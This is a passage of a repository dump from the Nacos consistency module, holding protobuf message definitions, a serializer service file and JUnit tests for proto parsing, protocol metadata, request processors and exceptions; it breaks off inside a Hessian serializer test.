    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nsyntax = \"proto3\";\n\noption java_multiple_files = true;\noption java_package = \"com.alibaba.nacos.consistency.entity\";\n\n//Deprecated\nmessage Log {\n  string group = 1;\n  string key = 2;\n  bytes data = 3;\n  string type = 4;\n  string operation = 5;\n  map<string, string> extendInfo = 6;\n}\n\n//Deprecated\nmessage GetRequest {\n  string group = 1;\n  bytes data = 2;\n  map<string, string> extendInfo = 3;\n}\n\n"
  },
  {
    "path": "consistency/src/main/proto/consistency.proto",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nsyntax = \"proto3\";\n\noption java_multiple_files = true;\noption java_package = \"com.alibaba.nacos.consistency.entity\";\n\nmessage WriteRequest {\n  string group = 1;\n  string key = 2;\n  bytes data = 3;\n  string type = 4;\n  string operation = 5;\n  map<string, string> extendInfo = 6;\n}\n\nmessage ReadRequest {\n  string group = 1;\n  bytes data = 2;\n  map<string, string> extendInfo = 3;\n}\n\nmessage Response {\n  bytes data = 1;\n  string errMsg = 2;\n  bool success = 3;\n}\n\n"
  },
  {
    "path": "consistency/src/main/resources/META-INF/services/com.alibaba.nacos.consistency.Serializer",
    "content": "#\n# Copyright 1999-2018 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.consistency.serialize.JacksonSerializer\n"
  },
  {
    "path": "consistency/src/test/java/com/alibaba/nacos/consistency/CommandOperationsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency;\n\nimport com.alibaba.nacos.common.model.RestResult;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass CommandOperationsTest {\n\n    @Test\n    void testExecuteDefault() {\n        CommandOperations ops = new CommandOperations() {\n        };\n        RestResult<String> result = ops.execute(Collections.emptyMap());\n        assertTrue(result.ok());\n        assertEquals(200, result.getCode());\n    }\n}\n"
  },
  {
    "path": "consistency/src/test/java/com/alibaba/nacos/consistency/DataOperationTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass DataOperationTest {\n\n    @Test\n    void testValues() {\n        DataOperation[] values = DataOperation.values();\n        assertEquals(6, values.length);\n    }\n\n    @Test\n    void testValueOf() {\n        assertEquals(DataOperation.ADD, DataOperation.valueOf(\"ADD\"));\n        assertEquals(DataOperation.CHANGE, DataOperation.valueOf(\"CHANGE\"));\n        assertEquals(DataOperation.DELETE, DataOperation.valueOf(\"DELETE\"));\n        assertEquals(DataOperation.VERIFY, DataOperation.valueOf(\"VERIFY\"));\n        assertEquals(DataOperation.SNAPSHOT, DataOperation.valueOf(\"SNAPSHOT\"));\n        assertEquals(DataOperation.QUERY, DataOperation.valueOf(\"QUERY\"));\n    }\n}\n"
  },
  {
    "path": "consistency/src/test/java/com/alibaba/nacos/consistency/ProtoMessageUtilTest.java",
    "content": "/*\n *  Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *       http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency;\n\nimport com.alibaba.nacos.consistency.entity.GetRequest;\nimport com.alibaba.nacos.consistency.entity.Log;\nimport com.alibaba.nacos.consistency.entity.ReadRequest;\nimport com.alibaba.nacos.consistency.entity.WriteRequest;\nimport com.google.protobuf.ByteString;\nimport org.junit.jupiter.api.Test;\n\nimport java.nio.ByteBuffer;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.junit.jupiter.api.Assertions.fail;\n\nclass ProtoMessageUtilTest {\n\n    @Test\n    void testConstructor() {\n        new ProtoMessageUtil();\n    }\n\n    @Test\n    void testParseInvalidBytes() {\n        byte[] invalidBytes = new byte[]{1, 2, 3};\n        try {\n            ProtoMessageUtil.parse(invalidBytes);\n            fail(\"Should throw ConsistencyException\");\n        } catch (Exception e) {\n            assertTrue(e instanceof com.alibaba.nacos.consistency.exception.ConsistencyException);\n        }\n    }\n    \n    @Test\n    void testParseWithCorruptRequestTypeField() {\n        byte[] corruptBytes = new byte[]{(byte) ProtoMessageUtil.REQUEST_TYPE_FIELD_TAG,\n                (byte) ProtoMessageUtil.REQUEST_TYPE_READ, (byte) 0x80};\n        try {\n            ProtoMessageUtil.parse(corruptBytes);\n        } catch (Exception ignored) {\n        }\n    }\n\n    @Test\n    void testProto() throws Exception {\n        WriteRequest request = WriteRequest.newBuilder().setKey(\"test-proto-new\").build();\n        \n        byte[] bytes = request.toByteArray();\n        Log log = Log.parseFrom(bytes);\n        assertEquals(request.getKey(), log.getKey());\n    }\n    \n    @Test\n    void testParseReadRequestWithRequestTypeField() {\n        String group = \"test\";\n        ByteString data = ByteString.copyFrom(\"data\".getBytes());\n        ReadRequest testCase = ReadRequest.newBuilder().setGroup(group).setData(data).build();\n        \n        byte[] requestTypeFieldBytes = new byte[2];\n        requestTypeFieldBytes[0] = ProtoMessageUtil.REQUEST_TYPE_FIELD_TAG;\n        requestTypeFieldBytes[1] = ProtoMessageUtil.REQUEST_TYPE_READ;\n        \n        byte[] dataBytes = testCase.toByteArray();\n        ByteBuffer byteBuffer = (ByteBuffer) ByteBuffer.allocate(requestTypeFieldBytes.length + dataBytes.length).put(requestTypeFieldBytes)\n                .put(dataBytes).position(0);\n        \n        Object actual = ProtoMessageUtil.parse(byteBuffer.array());\n        assertEquals(ReadRequest.class, testCase.getClass());\n        assertEquals(group, ((ReadRequest) actual).getGroup());\n        assertEquals(data, ((ReadRequest) actual).getData());\n    }\n    \n    @Test\n    void testParseWriteRequestWithRequestTypeField() {\n        String group = \"test\";\n        ByteString data = ByteString.copyFrom(\"data\".getBytes());\n        WriteRequest testCase = WriteRequest.newBuilder().setGroup(group).setData(data).build();\n        \n        byte[] requestTypeFieldBytes = new byte[2];\n        requestTypeFieldBytes[0] = ProtoMessageUtil.REQUEST_TYPE_FIELD_TAG;\n        requestTypeFieldBytes[1] = ProtoMessageUtil.REQUEST_TYPE_WRITE;\n        \n        byte[] dataBytes = testCase.toByteArray();\n        ByteBuffer byteBuffer = (ByteBuffer) ByteBuffer.allocate(requestTypeFieldBytes.length + dataBytes.length).put(requestTypeFieldBytes)\n                .put(dataBytes).position(0);\n        \n        Object actual = ProtoMessageUtil.parse(byteBuffer.array());\n        assertEquals(WriteRequest.class, testCase.getClass());\n        assertEquals(group, ((WriteRequest) actual).getGroup());\n        assertEquals(data, ((WriteRequest) actual).getData());\n    }\n    \n    @Test\n    void testParseReadRequest() {\n        String group = \"test\";\n        ByteString data = ByteString.copyFrom(\"data\".getBytes());\n        ReadRequest testCase = ReadRequest.newBuilder().setGroup(group).setData(data).build();\n        Object actual = ProtoMessageUtil.parse(testCase.toByteArray());\n        assertEquals(ReadRequest.class, testCase.getClass());\n        assertEquals(group, ((ReadRequest) actual).getGroup());\n        assertEquals(data, ((ReadRequest) actual).getData());\n    }\n    \n    @Test\n    void testParseWriteRequest() {\n        String group = \"test\";\n        ByteString data = ByteString.copyFrom(\"data\".getBytes());\n        WriteRequest testCase = WriteRequest.newBuilder().setGroup(group).setData(data).build();\n        Object actual = ProtoMessageUtil.parse(testCase.toByteArray());\n        assertEquals(WriteRequest.class, testCase.getClass());\n        assertEquals(group, ((WriteRequest) actual).getGroup());\n        assertEquals(data, ((WriteRequest) actual).getData());\n    }\n    \n    @Test\n    void testConvertToReadRequest() {\n        ByteString data = ByteString.copyFrom(\"data\".getBytes());\n        String group = \"test\";\n        \n        GetRequest getRequest = GetRequest.newBuilder().setGroup(group).setData(data).putExtendInfo(\"k\", \"v\").build();\n        ReadRequest readRequest = ProtoMessageUtil.convertToReadRequest(getRequest);\n        \n        assertEquals(group, readRequest.getGroup());\n        \n        assertEquals(data, readRequest.getData());\n        \n        assertEquals(1, readRequest.getExtendInfoCount());\n    }\n    \n    @Test\n    void testConvertToWriteRequest() {\n        ByteString data = ByteString.copyFrom(\"data\".getBytes());\n        Log log = Log.newBuilder().setKey(\"key\").setGroup(\"group\").setData(data).setOperation(\"o\").putExtendInfo(\"k\", \"v\").build();\n        WriteRequest writeRequest = ProtoMessageUtil.convertToWriteRequest(log);\n        \n        assertEquals(1, writeRequest.getExtendInfoCount());\n        \n        assertEquals(data, writeRequest.getData());\n        \n        assertEquals(\"key\", writeRequest.getKey());\n        \n        assertEquals(\"group\", writeRequest.getGroup());\n        \n        assertEquals(\"o\", writeRequest.getOperation());\n    }\n}\n"
  },
  {
    "path": "consistency/src/test/java/com/alibaba/nacos/consistency/ProtocolMetaDataTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency;\n\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.Observer;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicInteger;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass ProtocolMetaDataTest {\n    \n    @Test\n    void testProtocolMetaData() throws Exception {\n        Map<String, Map<String, Object>> map = new HashMap<>();\n        Map<String, Object> data = new HashMap<>();\n        data.put(\"test-1\", new Date());\n        data.put(\"test_2\", new Date());\n        map.put(\"global\", data);\n        \n        ProtocolMetaData metaData = new ProtocolMetaData();\n        \n        metaData.load(map);\n        \n        String json = JacksonUtils.toJson(metaData);\n        AtomicInteger count = new AtomicInteger(0);\n        \n        CountDownLatch latch = new CountDownLatch(2);\n        \n        metaData.subscribe(\"global\", \"test-1\", o -> {\n            ProtocolMetaData.ValueItem item = (ProtocolMetaData.ValueItem) o;\n            System.out.println(item.getData());\n            count.incrementAndGet();\n            latch.countDown();\n        });\n        \n        map = new HashMap<>();\n        data = new HashMap<>();\n        data.put(\"test-1\", new Date());\n        data.put(\"test_2\", new Date());\n        map.put(\"global\", data);\n        \n        metaData.load(map);\n        \n        latch.await(10_000L, TimeUnit.MILLISECONDS);\n        \n        assertEquals(2, count.get());\n        \n    }\n\n    @Test\n    void testGetWithBlankSubKey() {\n        ProtocolMetaData metaData = new ProtocolMetaData();\n        Map<String, Map<String, Object>> map = new HashMap<>();\n        Map<String, Object> data = new HashMap<>();\n        data.put(\"key1\", \"value1\");\n        map.put(\"group1\", data);\n        metaData.load(map);\n\n        Object result = metaData.get(\"group1\", \"\");\n        assertNotNull(result);\n    }\n\n    @Test\n    void testGetWithSubKey() {\n        ProtocolMetaData metaData = new ProtocolMetaData();\n        Map<String, Map<String, Object>> map = new HashMap<>();\n        Map<String, Object> data = new HashMap<>();\n        data.put(\"key1\", \"value1\");\n        map.put(\"group1\", data);\n        metaData.load(map);\n\n        Object result = metaData.get(\"group1\", \"key1\");\n        assertNotNull(result);\n    }\n\n    @Test\n    void testGetWithNonExistGroup() {\n        ProtocolMetaData metaData = new ProtocolMetaData();\n        Object result = metaData.get(\"nonExist\", \"key1\");\n        assertNull(result);\n    }\n\n    @Test\n    void testUnSubscribe() {\n        ProtocolMetaData metaData = new ProtocolMetaData();\n        Map<String, Map<String, Object>> map = new HashMap<>();\n        Map<String, Object> data = new HashMap<>();\n        data.put(\"key1\", \"value1\");\n        map.put(\"group1\", data);\n        metaData.load(map);\n\n        Observer observer = o -> { };\n        metaData.subscribe(\"group1\", \"key1\", observer);\n        metaData.unSubscribe(\"group1\", \"key1\", observer);\n    }\n\n    @Test\n    void testUnSubscribeNonExistKey() {\n        ProtocolMetaData metaData = new ProtocolMetaData();\n        Observer observer = o -> { };\n        metaData.unSubscribe(\"newGroup\", \"nonExistKey\", observer);\n    }\n\n    @Test\n    void testGetMetaDataMap() {\n        ProtocolMetaData metaData = new ProtocolMetaData();\n        Map<String, Map<String, Object>> map = new HashMap<>();\n        Map<String, Object> data = new HashMap<>();\n        data.put(\"key1\", \"value1\");\n        map.put(\"group1\", data);\n        metaData.load(map);\n\n        Map<String, Map<Object, Object>> result = metaData.getMetaDataMap();\n        assertNotNull(result);\n        assertEquals(1, result.size());\n    }\n\n    @Test\n    void testValueItemGetPath() {\n        ProtocolMetaData.ValueItem item = new ProtocolMetaData.ValueItem(\"test/path\");\n        assertEquals(\"test/path\", item.getPath());\n    }\n\n}\n"
  },
  {
    "path": "consistency/src/test/java/com/alibaba/nacos/consistency/RequestProcessorTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency;\n\nimport com.alibaba.nacos.consistency.entity.ReadRequest;\nimport com.alibaba.nacos.consistency.entity.Response;\nimport com.alibaba.nacos.consistency.entity.WriteRequest;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\n\nclass RequestProcessorTest {\n\n    private static final String TEST_GROUP = \"test-group\";\n\n    @Test\n    void testOnError() {\n        ConcreteRequestProcessor processor = new ConcreteRequestProcessor();\n        processor.onError(new RuntimeException(\"test error\"));\n        // Default empty impl - should not throw\n    }\n\n    @Test\n    void testGroup() {\n        ConcreteRequestProcessor processor = new ConcreteRequestProcessor();\n        assertEquals(TEST_GROUP, processor.group());\n    }\n\n    @Test\n    void testOnRequest() {\n        ConcreteRequestProcessor processor = new ConcreteRequestProcessor();\n        Response response = processor.onRequest(ReadRequest.getDefaultInstance());\n        assertNotNull(response);\n    }\n\n    @Test\n    void testOnApply() {\n        ConcreteRequestProcessor processor = new ConcreteRequestProcessor();\n        Response response = processor.onApply(WriteRequest.getDefaultInstance());\n        assertNotNull(response);\n    }\n\n    private static class ConcreteRequestProcessor extends RequestProcessor {\n\n        @Override\n        public Response onRequest(ReadRequest request) {\n            return Response.getDefaultInstance();\n        }\n\n        @Override\n        public Response onApply(WriteRequest log) {\n            return Response.getDefaultInstance();\n        }\n\n        @Override\n        public String group() {\n            return TEST_GROUP;\n        }\n    }\n}\n"
  },
  {
    "path": "consistency/src/test/java/com/alibaba/nacos/consistency/SerializeFactoryTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency;\n\nimport com.alibaba.nacos.consistency.serialize.JacksonSerializer;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.CopyOnWriteArraySet;\n\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass SerializeFactoryTest {\n    \n    @Test\n    void testConstructor() {\n        new SerializeFactory();\n    }\n    \n    @Test\n    void testListSerialize() {\n        Serializer serializer = SerializeFactory.getDefault();\n        \n        List<Integer> logsList = new ArrayList<>();\n        for (int i = 0; i < 4; i++) {\n            logsList.add(i);\n        }\n        byte[] data = serializer.serialize(logsList);\n        assertNotEquals(0, data.length);\n        \n        ArrayList<Integer> list = serializer.deserialize(data, ArrayList.class);\n        System.out.println(list);\n    }\n    \n    @Test\n    void testMapSerialize() {\n        Serializer serializer = SerializeFactory.getDefault();\n        Map<Integer, Integer> logsMap = new HashMap<>();\n        for (int i = 0; i < 4; i++) {\n            logsMap.put(i, i);\n        }\n        byte[] data = serializer.serialize(logsMap);\n        assertNotEquals(0, data.length);\n        Map<Integer, Integer> result = serializer.deserialize(data, HashMap.class);\n        System.out.println(result);\n    }\n    \n    @Test\n    void testSetSerialize() {\n        Serializer serializer = SerializeFactory.getDefault();\n        Set<Integer> logsMap = new CopyOnWriteArraySet<>();\n        for (int i = 0; i < 4; i++) {\n            logsMap.add(i);\n        }\n        \n        byte[] data = serializer.serialize(logsMap);\n        assertNotEquals(0, data.length);\n        Set<Integer> result = serializer.deserialize(data, CopyOnWriteArraySet.class);\n        System.out.println(result);\n    }\n    \n    @Test\n    void testGetSerializer() {\n        Serializer serializer = SerializeFactory.getSerializer(\"JSON\");\n        assertTrue(serializer instanceof JacksonSerializer);\n    }\n}\n"
  },
  {
    "path": "consistency/src/test/java/com/alibaba/nacos/consistency/ap/RequestProcessor4APTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency.ap;\n\nimport com.alibaba.nacos.consistency.entity.ReadRequest;\nimport com.alibaba.nacos.consistency.entity.Response;\nimport com.alibaba.nacos.consistency.entity.WriteRequest;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\n\n@SuppressWarnings(\"checkstyle:AbbreviationAsWordInName\")\nclass RequestProcessor4APTest {\n\n    private static final String TEST_GROUP = \"test-ap-group\";\n\n    @Test\n    void testConcreteSubclassWorks() {\n        ConcreteRequestProcessor4AP processor = new ConcreteRequestProcessor4AP();\n        assertNotNull(processor);\n    }\n\n    @Test\n    void testOnRequest() {\n        ConcreteRequestProcessor4AP processor = new ConcreteRequestProcessor4AP();\n        Response response = processor.onRequest(ReadRequest.getDefaultInstance());\n        assertNotNull(response);\n    }\n\n    @Test\n    void testOnApply() {\n        ConcreteRequestProcessor4AP processor = new ConcreteRequestProcessor4AP();\n        Response response = processor.onApply(WriteRequest.getDefaultInstance());\n        assertNotNull(response);\n    }\n\n    @Test\n    void testGroup() {\n        ConcreteRequestProcessor4AP processor = new ConcreteRequestProcessor4AP();\n        assertEquals(TEST_GROUP, processor.group());\n    }\n\n    private static class ConcreteRequestProcessor4AP extends RequestProcessor4AP {\n\n        @Override\n        public Response onRequest(ReadRequest request) {\n            return Response.getDefaultInstance();\n        }\n\n        @Override\n        public Response onApply(WriteRequest log) {\n            return Response.getDefaultInstance();\n        }\n\n        @Override\n        public String group() {\n            return TEST_GROUP;\n        }\n    }\n}\n"
  },
  {
    "path": "consistency/src/test/java/com/alibaba/nacos/consistency/cp/MetadataKeyTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency.cp;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass MetadataKeyTest {\n\n    @Test\n    void testConstants() {\n        new MetadataKey();\n        assertEquals(\"leader\", MetadataKey.LEADER_META_DATA);\n        assertEquals(\"term\", MetadataKey.TERM_META_DATA);\n        assertEquals(\"raftGroupMember\", MetadataKey.RAFT_GROUP_MEMBER);\n        assertEquals(\"errMsg\", MetadataKey.ERR_MSG);\n    }\n}\n"
  },
  {
    "path": "consistency/src/test/java/com/alibaba/nacos/consistency/cp/RequestProcessor4CPTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency.cp;\n\nimport com.alibaba.nacos.consistency.entity.ReadRequest;\nimport com.alibaba.nacos.consistency.entity.Response;\nimport com.alibaba.nacos.consistency.entity.WriteRequest;\nimport com.alibaba.nacos.consistency.snapshot.SnapshotOperation;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n@SuppressWarnings(\"checkstyle:AbbreviationAsWordInName\")\nclass RequestProcessor4CPTest {\n\n    private static final String TEST_GROUP = \"test-cp-group\";\n\n    @Test\n    void testLoadSnapshotOperate() {\n        ConcreteRequestProcessor4CP processor = new ConcreteRequestProcessor4CP();\n        List<SnapshotOperation> operations = processor.loadSnapshotOperate();\n        assertNotNull(operations);\n        assertTrue(operations.isEmpty());\n    }\n\n    @Test\n    void testOnError() {\n        ConcreteRequestProcessor4CP processor = new ConcreteRequestProcessor4CP();\n        processor.onError(new RuntimeException(\"test error\"));\n        // Inherited default onError - should not throw\n    }\n\n    @Test\n    void testOnRequest() {\n        ConcreteRequestProcessor4CP processor = new ConcreteRequestProcessor4CP();\n        Response response = processor.onRequest(ReadRequest.getDefaultInstance());\n        assertNotNull(response);\n    }\n\n    @Test\n    void testOnApply() {\n        ConcreteRequestProcessor4CP processor = new ConcreteRequestProcessor4CP();\n        Response response = processor.onApply(WriteRequest.getDefaultInstance());\n        assertNotNull(response);\n    }\n\n    @Test\n    void testGroup() {\n        ConcreteRequestProcessor4CP processor = new ConcreteRequestProcessor4CP();\n        assertEquals(TEST_GROUP, processor.group());\n    }\n\n    private static class ConcreteRequestProcessor4CP extends RequestProcessor4CP {\n\n        @Override\n        public Response onRequest(ReadRequest request) {\n            return Response.getDefaultInstance();\n        }\n\n        @Override\n        public Response onApply(WriteRequest log) {\n            return Response.getDefaultInstance();\n        }\n\n        @Override\n        public String group() {\n            return TEST_GROUP;\n        }\n    }\n}\n"
  },
  {
    "path": "consistency/src/test/java/com/alibaba/nacos/consistency/exception/ConsistencyExceptionTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency.exception;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass ConsistencyExceptionTest {\n\n    @Test\n    void testDefaultConstructor() {\n        ConsistencyException ex = new ConsistencyException();\n        assertNull(ex.getMessage());\n        assertNull(ex.getCause());\n    }\n\n    @Test\n    void testMessageConstructor() {\n        String message = \"test message\";\n        ConsistencyException ex = new ConsistencyException(message);\n        assertEquals(message, ex.getMessage());\n        assertNull(ex.getCause());\n    }\n\n    @Test\n    void testMessageAndCauseConstructor() {\n        String message = \"test message\";\n        Throwable cause = new IllegalArgumentException(\"cause\");\n        ConsistencyException ex = new ConsistencyException(message, cause);\n        assertEquals(message, ex.getMessage());\n        assertEquals(cause, ex.getCause());\n    }\n\n    @Test\n    void testCauseConstructor() {\n        Throwable cause = new IllegalArgumentException(\"cause\");\n        ConsistencyException ex = new ConsistencyException(cause);\n        assertEquals(cause, ex.getCause());\n        assertNotNull(ex.getMessage());\n    }\n\n    @Test\n    void testProtectedConstructorViaAnonymousSubclass() {\n        String message = \"protected message\";\n        Throwable cause = new RuntimeException(\"cause\");\n        ConsistencyException ex = new ConsistencyException(message, cause, true, true) {\n        };\n        assertEquals(message, ex.getMessage());\n        assertEquals(cause, ex.getCause());\n    }\n}\n"
  },
  {
    "path": "consistency/src/test/java/com/alibaba/nacos/consistency/serialize/HessianSerializerTest.java",
    "content": "/*\n *  Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *       http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.consistency.serialize;\n\nimport com.alibaba.nacos.api.exception.runtime.NacosDeserializationException;\nimport org.apache.hc.core5.http.HttpException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.Serializable;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.junit.jupiter.api.Assertions.fail;\n\n/**\n * {@link HessianSerializer} unit test.\n *\n * @author Chenhao26\n * @date 2022-08-13\n */\nclass HessianSerializerTest {\n    \n    private HessianSerializer hessianSerializer;\n    \n    @BeforeEach\n    void setUp() {\n        hessianSerializer = new HessianSerializer();\n  